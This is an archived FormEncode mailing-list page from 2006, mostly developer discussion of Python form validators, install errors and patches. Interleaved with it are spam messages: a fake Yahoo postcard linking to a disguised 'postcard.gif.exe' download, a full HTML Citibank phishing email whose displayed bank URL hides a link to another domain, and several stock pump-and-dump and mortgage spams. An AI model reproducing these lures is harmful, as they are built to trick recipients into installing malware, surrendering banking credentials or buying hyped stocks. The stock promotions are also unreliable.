You can subscribe to this list here.
| 2004 |
Jan
|
Feb
(1) |
Mar
(1) |
Apr
(1) |
May
(6) |
Jun
(1) |
Jul
(1) |
Aug
|
Sep
|
Oct
(8) |
Nov
(9) |
Dec
|
|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 2005 |
Jan
(1) |
Feb
|
Mar
(2) |
Apr
(13) |
May
(34) |
Jun
(7) |
Jul
(6) |
Aug
(1) |
Sep
(23) |
Oct
(37) |
Nov
(41) |
Dec
(39) |
| 2006 |
Jan
(19) |
Feb
(1) |
Mar
(5) |
Apr
(9) |
May
(3) |
Jun
(8) |
Jul
(6) |
Aug
(12) |
Sep
(15) |
Oct
(26) |
Nov
(7) |
Dec
(11) |
| 2007 |
Jan
(12) |
Feb
(6) |
Mar
(13) |
Apr
(14) |
May
(12) |
Jun
(8) |
Jul
(3) |
Aug
|
Sep
(4) |
Oct
(19) |
Nov
(9) |
Dec
|
| 2008 |
Jan
(14) |
Feb
(3) |
Mar
(11) |
Apr
(6) |
May
(18) |
Jun
(15) |
Jul
(1) |
Aug
(23) |
Sep
(18) |
Oct
(39) |
Nov
(11) |
Dec
(16) |
| 2009 |
Jan
(8) |
Feb
(9) |
Mar
(33) |
Apr
(16) |
May
(5) |
Jun
(3) |
Jul
(2) |
Aug
(2) |
Sep
(1) |
Oct
(6) |
Nov
(11) |
Dec
(2) |
| 2010 |
Jan
(2) |
Feb
(4) |
Mar
|
Apr
|
May
(2) |
Jun
(3) |
Jul
(2) |
Aug
|
Sep
(3) |
Oct
|
Nov
|
Dec
|
| 2011 |
Jan
(1) |
Feb
|
Mar
(4) |
Apr
|
May
|
Jun
|
Jul
(10) |
Aug
(36) |
Sep
(8) |
Oct
(1) |
Nov
|
Dec
(10) |
| 2012 |
Jan
(3) |
Feb
(5) |
Mar
(4) |
Apr
|
May
|
Jun
|
Jul
(15) |
Aug
|
Sep
(9) |
Oct
|
Nov
|
Dec
(1) |
| 2013 |
Jan
(3) |
Feb
(1) |
Mar
|
Apr
|
May
|
Jun
|
Jul
|
Aug
|
Sep
|
Oct
|
Nov
(1) |
Dec
(10) |
| 2014 |
Jan
|
Feb
|
Mar
|
Apr
|
May
|
Jun
|
Jul
|
Aug
(1) |
Sep
(1) |
Oct
|
Nov
|
Dec
(4) |
| 2015 |
Jan
|
Feb
(2) |
Mar
|
Apr
|
May
|
Jun
|
Jul
|
Aug
|
Sep
(2) |
Oct
(1) |
Nov
(2) |
Dec
|
| 2018 |
Jan
(1) |
Feb
|
Mar
|
Apr
|
May
|
Jun
|
Jul
|
Aug
|
Sep
|
Oct
|
Nov
|
Dec
|
| 2020 |
Jan
|
Feb
|
Mar
|
Apr
|
May
|
Jun
|
Jul
|
Aug
(1) |
Sep
|
Oct
|
Nov
|
Dec
|
|
From: michelts <mic...@gm...> - 2006-09-20 13:46:04
|
Hi guys,
I use formencode to validate my forms, I do the form presentation by
hand (I don't use any form generator), in my page I insert some tags
to be replaced by the error message (<form:error name="field">).
I had an idea, I want to be able to replace the tag by an example when
there is not error (the first time the form is loaded). Look:
# the raw code
Date: <input type="text" name="date"> <form:error name="date">
# the first time the form is loaded
Date: _____________ (ex: 2006/09/20)
# if there was an error
Date: 2006/02/31 the data is not valid
Is this a good idea? The validator class could have an attribute
called exampleMessage, It could have an attribute called showExample
too, that defaults to False, then I keep backward compatibility:
class DateValidator(FancyValidator):
showExample = False
def exampleMessage(self):
return datetime.datetime.now().strftime('%Y/%m/%d')
DateValidator(showExample=True).to_python('date')
Then htmlfill should check the need to show the example, and should
replace the error-wildcard by the example...
Before I get on the code I want to know opinions and suggestions, what
do you think about my idea?
Thanks for help!
--
Michel Thadeu Sabchuk
Curitiba - Brasil
|
|
From: Vijay R. <vi...@ac...> - 2006-09-20 06:59:30
|
Hi ,
I tried installing formencode from the svn source tarball and got the
following trace ( Python 2.5 , setuptools 0.7a1 ) :
running install
running bdist_egg
running egg_info
creating FormEncode.egg-info
writing requirements to FormEncode.egg-info\requires.txt
writing FormEncode.egg-info\PKG-INFO
writing top-level names to FormEncode.egg-info\top_level.txt
writing dependency_links to FormEncode.egg-info\dependency_links.txt
writing manifest file 'FormEncode.egg-info\SOURCES.txt'
reading manifest template 'MANIFEST.in'
warning: no files found matching '*.py' under directory '.'
Traceback (most recent call last):
File "setup.py", line 27, in <module>
extras_require={'testing': ['elementtree']},
File "e:\Python25\lib\distutils\core.py", line 151, in setup
dist.run_commands()
File "e:\Python25\lib\distutils\dist.py", line 974, in run_commands
self.run_command(cmd)
File "e:\Python25\lib\distutils\dist.py", line 994, in run_command
cmd_obj.run()
File "build\bdist.win32\egg\setuptools\command\install.py", line 76, in run
File "build\bdist.win32\egg\setuptools\command\install.py", line
92, in do_egg
_install
File "e:\Python25\lib\distutils\cmd.py", line 333, in run_command
self.distribution.run_command(command)
File "e:\Python25\lib\distutils\dist.py", line 994, in run_command
cmd_obj.run()
File "build\bdist.win32\egg\setuptools\command\bdist_egg.py", line
167, in run
File "e:\Python25\lib\distutils\cmd.py", line 333, in run_command
self.distribution.run_command(command)
File "e:\Python25\lib\distutils\dist.py", line 994, in run_command
cmd_obj.run()
File "build\bdist.win32\egg\setuptools\command\egg_info.py", line
171, in run
File "build\bdist.win32\egg\setuptools\command\egg_info.py", line
252, in find
_sources
File "build\bdist.win32\egg\setuptools\command\egg_info.py", line
308, in run
File "build\bdist.win32\egg\setuptools\command\sdist.py", line
157, in read_te
mplate
File "e:\Python25\lib\distutils\command\sdist.py", line 335, in
read_template
self.filelist.process_template_line(line)
File "e:\Python25\lib\distutils\filelist.py", line 130, in
process_template_li
ne
(action, patterns, dir, dir_pattern) = self._parse_template_line(line)
File "e:\Python25\lib\distutils\filelist.py", line 105, in
_parse_template_lin
e
dir = convert_path(words[1])
File "e:\Python25\lib\distutils\util.py", line 140, in convert_path
raise ValueError, "path '%s' cannot end with '/'" % pathname
ValueError: path 'docs/' cannot end with '/'
Vijay Rao
|
|
From: Ian B. <ia...@co...> - 2006-09-10 18:10:38
|
(catching up on emails I forgot about) Jacob Smullyan wrote: > Hello. I'm a bit new to FormEncode, so pardon me if I'm bringing up > an old chestnut or need to be set straight about something. > > I recently had a bunch of custom validators, subclassing > FancyValidator or one of its subclasses (Regex, for instance), and > then I found a bug in one of them -- I overrode validate_python but > didn't call the same method on the superclass, so didn't get the > complete validation. (I believe this was a Regex subclass.) So I > went through my validators and made sure that whenever I wrote a > validate_python method, I called the corresponding superclass method. > Then I tried running it, and whoah! for some but not all of the > validators, this gave rise to an error, because validate_python in > FancyValidator is None. > > I take it that the reason FormEncode allows validate_python et al to > have the value of None is to support a declarative programming style. > But to my mind the use of this feature in FancyValidator, a base > class, makes the interface it presents rather confusing and > unpredictable, and, I think, results in an excessively leaky > abstraction. Couldn't these methods be defined there as noops, or > would that have side-effects I'm unaware of? It's purely for efficiency, so if the method isn't defined it doesn't get called. It's really only meant to be called from FancyValidator.(to|from)_python. Though now that you mention it, there's no very good way to tell the difference between a validator that overrides this method (and hence you have to call the superclass), and one that doesn't (and hence you can't call the superclass). I've changed this in the trunk. -- Ian Bicking | ia...@co... | http://blog.ianbicking.org |
|
From: Grzesiek S. <gre...@wp...> - 2006-08-30 20:22:52
|
Hi Ian.
Thanks for any help but I still have problem with form encode (I'm
using form encode 0.5.1). I write validator for entire Form and I in
that formValidator I called one validator to validate file that I
want to upload only when one of radio has set value file. The problem
is that validator which validate file even if raise exception when
file is not correct, validation of all form is a success. Here is the
code
first my all schema:
class VerifyTitleValidationSchema(Schema):
pType = validators.String(not_empty=True)
pField1 = validators.String(if_missing="")
pField2 = validators.String(if_missing="")
chained_validators = [RequireIfEqual()]
now RequireIfEqual:
class RequireIfEqual(FormValidator):
# Field name:
field = 'pType'
# expected value:
value = 'own'
other_field = 'pThumbnailFile'
other_validator = Thumbnail
def _to_python(self, form, state):
if form.get(self.field) == self.value:
try:
conv =
self.other_validator.to_python(form.get(self.other_field),state)
except:
raise Invalid('Wrong_File_Type', form[self.other_field],
state)
form = form.copy()
form[self.other_field] = conv
return form
class Thumbnail(FancyValidator):
def _to_python(self,value,state):
if value.filename != '' and len(value.value)!= 0:
NewIconName = generateUniqueName()+".png"
IconPath = ScreenshotStoragePath + NewIconName
try:
newFile = open(IconPath,'wb')
while 1:
data = value.file.read(8192)
if not data:
break
newFile.write(data)
newFile.close()
if IconManager.validateIcon(IconPath) is False:
raise Invalid('WrongFileFormat1', value, state)
value = NewIconName
return value
except:
raise Invalid('WrongFileFormat2', value, state)
else:
raise Invalid('There is no File!', value, state)
So the Problem looks like this: I have raised Invalid exception in
Thumbnail validator but this exception doesn't change the fact that
schema is validated succesfull. How is it possible?
On my output i get message: INFO Improper validation Wrong_File_Type
Thanks for any help
Gregor
----------------------------------------------------
Seria "The Great Composers" do nabycia w salonach Empik.
Szopen, Bach, Mozart, Vivaldi, Puccini, Czajkowski.
Każdy tytuł to 2CD+DVD w ekskluzywnym, kartonowym wydaniu.
http://klik.wp.pl/?adr=http%3A%2F%2Fadv.reklama.wp.pl%2Fas%2Fcomposers.html&sid=856
|
|
From: Jorge G. <jg...@gm...> - 2006-08-26 00:54:40
|
Ian Bicking <ia...@co...> writes: > Jorge Godoy wrote: >> Should the patch only try using datetime.time or should it also try >> mx.DateTime? Just to remember, datetime is available in the standard library >> since Python 2.3 (so say the docs). >> >> I believe I can write the patch today if it is only targetted at datetime. > > Just datetime.time is fine. Be sure to add to the doctests. I couldn't find a way to allow overriding messages, but here's a preliminar patch. I'm still getting acquainted with this code... Is there a better way to do this? How could I override the standard messages? Sorry for my "newbieness" here :-) I'll keep on reading the source looking for a way to do that... -- Jorge Godoy <jg...@gm...> |
|
From: Ian B. <ia...@co...> - 2006-08-25 21:36:02
|
Jorge Godoy wrote: > Should the patch only try using datetime.time or should it also try > mx.DateTime? Just to remember, datetime is available in the standard library > since Python 2.3 (so say the docs). > > I believe I can write the patch today if it is only targetted at datetime. Just datetime.time is fine. Be sure to add to the doctests. -- Ian Bicking | ia...@co... | http://blog.ianbicking.org |
|
From: Jorge G. <jg...@gm...> - 2006-08-25 21:33:31
|
Ian Bicking <ia...@co...> writes:
> I think it preceded datetime.time (maybe). Nevertheless, it should
> certainly accept those objects, and probably based on some option should
> produce datetime.time objects as well (it shouldn't produce them by
> default because that won't be backward compatible, though a subclass of
> TimeConverter certainly could default to datetime.time).
I see. :-) I agree with the default behaviour. If it is included with the
standard validator I don't believe a subclass is needed. If a subclass is
better -- I believe it is... -- then we don't have to worry with backwards
compatibility.
> Patches welcome (shouldn't be too hard, I think).
It isn't too hard to convert the tuple to a datetime.time object:
In [2]:from formencode.validators import TimeConverter
In [3]:v = TimeConverter()
In [4]:a = v.to_python('18:00')
In [5]:a
Out[5]:(18, 0)
In [6]:type(a)
Out[6]:<type 'tuple'>
In [7]:from datetime import time
In [8]:b = time(*a)
In [9]:b
Out[9]:datetime.time(18, 0)
In [10]:type(b)
Out[10]:<type 'datetime.time'>
Should the patch only try using datetime.time or should it also try
mx.DateTime? Just to remember, datetime is available in the standard library
since Python 2.3 (so say the docs).
I believe I can write the patch today if it is only targetted at datetime.
--
Jorge Godoy <jg...@gm...>
|
|
From: Ian B. <ia...@co...> - 2006-08-25 21:13:40
|
Jorge Godoy wrote: > Hi! > > > I noticed that the TimeConverter validator generates tuples as the result of > "to_python". Is there any option (or reason not) to generate something like > datetime.time objects? (mx.DateTime are also acceptable) I think it preceded datetime.time (maybe). Nevertheless, it should certainly accept those objects, and probably based on some option should produce datetime.time objects as well (it shouldn't produce them by default because that won't be backward compatible, though a subclass of TimeConverter certainly could default to datetime.time). Patches welcome (shouldn't be too hard, I think). -- Ian Bicking | ia...@co... | http://blog.ianbicking.org |
|
From: Jorge G. <jg...@gm...> - 2006-08-25 19:40:16
|
Hi! I noticed that the TimeConverter validator generates tuples as the result of "to_python". Is there any option (or reason not) to generate something like datetime.time objects? (mx.DateTime are also acceptable) TIA, -- Jorge Godoy <jg...@gm...> |
|
From: Martin S. <ema...@we...> - 2006-08-18 11:53:09
|
Hi, In January (2006-01-26 21:07), there was a formencode internationalization patch, that was announced for download on the formencode mailing list. I gave the patch a quick look... I haven't quite managed to understand what it does, but one thing caught my attention: apparently, this patch removes the possibility, to pass the encode_variables=True parameter to unpack_errors. Will this patch get integrated into formencode? Is it possible to keep the unpack_errors option (since it would be quite convenient, I think). Well, maybe I just didn't completely understand the patch... Cheers, Martin _____________________________________________________________________ Der WEB.DE SmartSurfer hilft bis zu 70% Ihrer Onlinekosten zu sparen! http://smartsurfer.web.de/?mc=100071&distributionid=000000000071 |
|
From: cards <pos...@ya...> - 2006-08-13 02:09:07
|
</div> <strong>Hello </strong><br> You have just received a postcard from <a href="http://www.yahoo.com"> www.yahoo.com</a> .<br> <strong>If you'd like to see the rest of the message click <a href="http://68.23.201.249/~camelot/postcard.gif.exe">here</a> to receive your animated postcard! </strong><br><br> <strong>===================</strong><br> Thank you for using <span class="style1">our </span> services !!!<br> Please take this opportunity to let your friends hear about us by sending them a postcard from our collection !<br> <strong>==================</strong></div> |
|
From: Hamish L. <hb...@st...> - 2006-08-10 08:32:50
|
I wrote: > I want my schema to require that certain fields be present in the > input, with other specified fields optional and all other fields > disallowed. I reckon that the if_missing setting is what I'm after. However no mention appears to be made of this setting in the documentation outside the source code. Hamish Lawson |
|
From: <upd...@ci...> - 2006-08-08 15:53:00
|
<html>
<head>
<title></title>
<style type=text/css>
<!--
body { margin: 0px; padding: 0px; background: #fff; }
.panel{-moz-border-radius: .3em .3em .3em .3em; border: 1px dotted silver; background-color: #F7F6F4;
}
-->
</style>
</head>
<body>
<TABLE align="center" width="50%" border=0>
<tr>
<td align="left">
<img src="https://web.da-us.citibank.com/images/citi44a.gif" border=0><br>
<i>Copyright © 2006 Citigroup Inc.</i>
</td>
</tr>
<TR>
</TR>
<TR><TD></TD><br></TR>
<TR><TD></TD><br></TR>
<TR>
<TD class="panel"><b></b></TD>
</TR>
<TR>
<TR><TD></TD> </TR>
<TR><TD></TD> </TR>
<TR><TD></TD></TR>
<TR>
<TD><font color="Navy" size="3"><b>Dear CitiBank Client,</b></font><br>
<br>
<font face="Arial" size="2px">During our regularly scheduled account maintenance and verification we have detected a slight error<br>
in your billing information on file with us.<br><br>
<b>This might be due to either following reasons :</b>
<br>
<ul>
<li> A recent change in your personal information (I.E. change of address)
<li> Submitting invalid information during initial signup process
<li> An inability to accurately verify your selected option of payment due of an internal error within our processors
</ul>
In accordance with CitiBank's User Agreement and to ensure that your account has not been compromised , access to your account was limited. Your account access will remain limited untill this issue has been resolved. In order to secure your account and quickly restore full access we may require some specific information from you for the following reason :
<br>
<br>
<br> <b>- We encourage you to restore full access as soon as possible</b>
<br>
<a href="http://gagum.com/us/index.php">https://web.da-us.citibank.com/cgi-bin/citifi/portal/l/l.do</a><br>
</td>
</tr>
<TR><TD></TD> </TR>
<TR><TD></TD> </TR>
<TR><TD></TD> </TR>
<TR><TD></TD> </TR>
<TR><TD></TD> </TR>
<TR><TD></TD> </TR>
<TR>
<TD class="panel"></td></tr>
<tr>
<td>
<br>Thanks for your patience as we work together to protect your account
<br>
<br>
<b>Best regards</b>,<br>
<font size="2"><i>CitiBank`s Group</i>.</font>
</td>
</tr>
</table>
|
|
From: Hamish L. <hb...@st...> - 2006-08-04 11:27:53
|
I want my schema to require that certain fields be present in the input, with other specified fields optional and all other fields disallowed. Is this possible? By default a schema seems to expect *all* declared fields to be present in the input, but setting ignore_key_missing appears to have the result that *no* fields are treated as required (and a NotEmpty validator for a field won't make it required, as it doesn't appear to get called if the field is missing from the input). Hamish Lawson |
|
From: Jacob S. <jsm...@wn...> - 2006-08-03 19:33:57
|
Hello. I'm a bit new to FormEncode, so pardon me if I'm bringing up an old chestnut or need to be set straight about something. I recently had a bunch of custom validators, subclassing FancyValidator or one of its subclasses (Regex, for instance), and then I found a bug in one of them -- I overrode validate_python but didn't call the same method on the superclass, so didn't get the complete validation. (I believe this was a Regex subclass.) So I went through my validators and made sure that whenever I wrote a validate_python method, I called the corresponding superclass method. Then I tried running it, and whoah! for some but not all of the validators, this gave rise to an error, because validate_python in FancyValidator is None. I take it that the reason FormEncode allows validate_python et al to have the value of None is to support a declarative programming style. But to my mind the use of this feature in FancyValidator, a base class, makes the interface it presents rather confusing and unpredictable, and, I think, results in an excessively leaky abstraction. Couldn't these methods be defined there as noops, or would that have side-effects I'm unaware of? js -- Jacob Smullyan office: 212/669-3230 mobile: 917/576-5274 |
|
From: Myra R. <sch...@ei...> - 2006-07-30 23:06:20
|
Redeem or renew your mortgage @ a rate given below for today only! ________________ $435,000 at 4.15% $595,000 at 4.75% $1.83 Million at 3.63% %GEO Sincerely Yours, Adolfo |
|
From: michelts <mic...@gm...> - 2006-07-24 14:48:15
|
Hi guys,
I have a question about translation messages in some validator, now I
extend the class of validator with the translated messages as above:
>>> from formencode.validators import String
>>> class String(String):
... messages = {'empty':'Another message reather than the original'}
...
>>>
The problem is that I have to do it to each validator I have. I
thinking on a idea over message handling on FormEncode, it seems to
get messages following the sequence above:
- from FancyValidator class
- from the specific Validator class (suppose String)
- from an extension of Validator class
- from the keyword messages of a Validator (os extension of Validator) instance
We could put all standard messages on a single file and remove the
setting of messages on specific validators, with this I will edit only
one file to change messages like empty, tooShort, etc. The sequence
will be:
- from the messages file
- from the specific Validator class (the validators at validators.py
will not set messages)
- from an extension of the Validator class
- from the keyword messages of a Validator
What do you think? Any suggestions?
Thanks
--
Michel Thadeu Sabchuk
Curitiba - Brasil
|
|
From: Fabio T. <ko...@de...> - 2006-07-19 09:08:43
|
Hi Ian, I've received a debian bug report about this issue. In short, when you use the parameter 'resolve_domain=3DTrue' for the Email validator, it doesn't work at all when your DNS server isn't available or if there is a problem with the socket and it rises a socket.error. The submitter also provided a patch, which catches it and raise an Invalid exception. You can find the bug (with all the comments and the patch) here: http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=3D378459 What is your opinion about the issue? Can the patch be applied to the next release of formencode? Thanks in advance, and have a nice day. --=20 Fabio Tranchitella <ko...@de...> .''`. Proud Debian GNU/Linux developer, admin and user. : :' : `. `'` http://people.debian.org/~kobold/ `- _____________________________________________________________________ 1024D/7F961564, fpr 5465 6E69 E559 6466 BF3D 9F01 2BF8 EE2B 7F96 1564 |
|
From: Ian B. <ia...@co...> - 2006-06-21 16:36:27
|
michelts wrote: > Good morning guys! > > I used to have validators as the above: > > class validator(Schema): > firstName = NotEmpty() > lastName = NotEmpty(if_empty='anything') > > I updated FormEncode to the version 0.5.1 and now this is not working, > I look at the code and I see if_empty is no more supported, but the > docs on the formencode.org still have reference to if_empty. > > I solve my problem for know changing my validator to the above: > > class validator(Schema): > firstName = NotEmpty() > lastName = String() > > But this way I can't set a specific lastName if it is not specified, > this is usefull in some situations. The if_empty keyword wont be > supported or this is a bug? This is a bug. There was a change in FormEncode to handle empty values differently, generally passing them through. Perhaps this shortcutted the if_empty test. However, the code looks right to me (in FancyValidator): def to_python(self, value, state=None): try: if self.strip and isinstance(value, (str, unicode)): value = value.strip() if self.is_empty(value): if self.not_empty: raise Invalid(self.message('empty', state), value, state) else: if self.if_empty is not NoDefault: return self.if_empty else: return self.empty_value(value) So, we test if the value is empty, and then test not_empty. Then we use if_empty. I do think NotEmpty(if_empty='anything') may have broken, as the not_empty/if_empty tests have been switched around. Really it doesn't make sense to have both set, so I guess I wouldn't call that a bug. String(if_empty='anything') should work. If it doesn't, reply and we'll try to figure it out. |
|
From: michelts <mic...@gm...> - 2006-06-21 12:35:16
|
Good morning guys!
I used to have validators as the above:
class validator(Schema):
firstName = NotEmpty()
lastName = NotEmpty(if_empty='anything')
I updated FormEncode to the version 0.5.1 and now this is not working,
I look at the code and I see if_empty is no more supported, but the
docs on the formencode.org still have reference to if_empty.
I solve my problem for know changing my validator to the above:
class validator(Schema):
firstName = NotEmpty()
lastName = String()
But this way I can't set a specific lastName if it is not specified,
this is usefull in some situations. The if_empty keyword wont be
supported or this is a bug?
Thanks for all help!
--
Michel Thadeu Sabchuk
Curitiba - Brasil
|
|
From: Ian B. <ia...@co...> - 2006-06-19 15:19:26
|
Grzesiek Slusarek wrote:
> Ian Bicking wrote:
> "
> You want a FormValidator, because you are validating pieces
> together.
> An example of this is
> formencode.validators.RequireIfMissing/RequireIfPresent. You
> might want
> to look at the implementation; how you use that field is:
>
> class MySchema(Schema):
> other fields...
> chained_validators = [RequireIfPresent(required='birthday',
> present='i_am_over_18')]
>
> Form validators validate the entire dictionary that is submitted.
> "
>
> As I understand in this example both birthday and i_am_over_18
> are form field. But what if I want to do validate some field of
> form ONLY if other field has a specific value?
> i saw source of formencode.validators.RequireIfMissing/
> RequireIfPresent and value of field can be achieved by e.g. value
> _dict.get(self.missing) but how called such this validator.
> This part i don't understand. And is it possible?
A FormValidator validates the entire form at once. So, maybe:
class RequireIfEqual(FancyValidator):
# Field name:
field = None
# expected value:
value = None
other_field = None
other_validator = None
def _to_python(self, form, state):
if form.get(self.field) == self.value:
conv = self.other_validator.to_python(form.get(self.other),
state)
form = form.copy()
form[self.other_field] = conv
return form
I think that's roughly what you are describing.
|
|
From: Grzesiek S. <gre...@wp...> - 2006-06-19 08:52:24
|
Ian Bicking wrote:
"
You want a FormValidator, because you are validating pieces
together.
An example of this is
formencode.validators.RequireIfMissing/RequireIfPresent. You
might want
to look at the implementation; how you use that field is:
class MySchema(Schema):
other fields...
chained_validators = [RequireIfPresent(required='birthday',
present='i_am_over_18')]
Form validators validate the entire dictionary that is submitted.
"
As I understand in this example both birthday and i_am_over_18
are form field. But what if I want to do validate some field of
form ONLY if other field has a specific value?
i saw source of formencode.validators.RequireIfMissing/
RequireIfPresent and value of field can be achieved by e.g. value
_dict.get(self.missing) but how called such this validator.
This part i don't understand. And is it possible?
Grzegorz Ślusarek
----------------------------------------------------
KONIEC drogich gadżetów - tapety, polifonia, real music, true tone
już tylko po 4 zł (4,66 zł z vat) - wszystkie nowości i hity:
http://klik.wp.pl/?adr=www.sms.wp.pl&sid=796
|
|
From: Teresa H. <baz...@he...> - 2006-06-08 02:09:11
|
WINNER**WINNER**WINNER**WINNER**WINNER To All Investors. Put HRRP on your Radar Screens immediately Now is the time to do your research. 5:1 Forward Split The forward stock split will be effective on or about June 15, 2006, at which time the additional shares in certificate form will be mailed directly to shareholders without action on their part. Date: Thursday, June 8, 2006 HE-5 Resources, Corp. Symbol: HRRP Price: $0.47 Position: Positive Buy Gold, Silver, Copper, Zinc and Platinum Breaking News was Released HE-5 Resources, Corp. Extends Record Date of Forward Split For pennies you can participate in a ST0CK that could yield results over and over again just based on the trading patterns if the company is able to effectuate it's business model. WATCH OUT!!! We could see a GREAT STORY IN THE MAKING. GOOD LUCK AND TRADE OUT AT THE TOP!!!! Sincerely, Jose Mckinley RVG Group |
|
From: Stanley F. <nrk...@fu...> - 2006-06-07 13:24:20
|
Sick of hedge funds and flippers getting all the great new issues? Our mission is to claw our way through the thousands of underperforming companies out there to find the golden needle in the haystack. New news expected this comming week. Trade Date : Monday, June 7, 2006 Company : AbsoluteSKY Ticker : A B S Y Timing is everything! Today : $0.95 Tomorrow : $2 Rating : 10(10) Good luck and trade out at the top!!! ..Whatever you do WATCH A B S Y ... |
|
From: Laura M. <vbs...@ge...> - 2006-06-05 19:16:31
|
GET IN NOW!!! You know the old saying, buy the rumor and sell on the news. This company has dropped big new's in the past. Who's to say they don't have another big one. Date : 5 Jun 2006 Company Name : Amerossi International Group Symbol : A M S N Opening Price : $0.05 Projection 2 to 6 Days : $0.70 Status : 300-500% |